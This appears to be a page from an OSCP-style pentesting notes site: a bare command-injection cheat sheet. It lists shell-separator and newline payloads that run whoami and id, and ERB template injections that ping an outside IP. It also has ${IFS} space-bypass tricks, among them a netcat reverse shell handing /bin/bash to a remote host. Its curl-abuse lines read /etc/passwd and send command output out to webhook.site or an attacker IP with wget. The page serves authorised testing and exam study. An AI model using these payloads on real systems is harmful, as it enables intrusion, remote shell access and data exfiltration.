> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/web-applications/command-injection.md).

# Command injection

<pre><code>; whoami;asd
&#x26; whoami #
&#x26;&#x26; whoami
; whoami ; 
\nwhoami\n
\n/bin/whoami\n
<strong>\nwhoami;
</strong>`whoami`
`/bin/whoami`
;system('id')
;system('/usr/bin/id')
%0a id %0a
%0a id 
&#x3C;%=system("ping+10.10.14.22");%>
&#x3C;%25%3dsystem("ping%2b10.10.14.22")%3b%25>
</code></pre>

#### Using {IFS} when spaces aren't allowed

```
`cat${IFS}file.txt`
`./nc${IFS}10.13.58.119${IFS}1337${IFS}-e${IFS}/bin/bash`
```

#### Exploitation of curl

```
file:///etc/passwd
fileAdot8
ftp://10.10.14.7
gopher://10.10.14.7
https://webhook.site/<id>/`whoami`
https://webhook.site/<id>?`whoami`
https://adot8.com \n wget http://10.10.14.7/`whoami`
```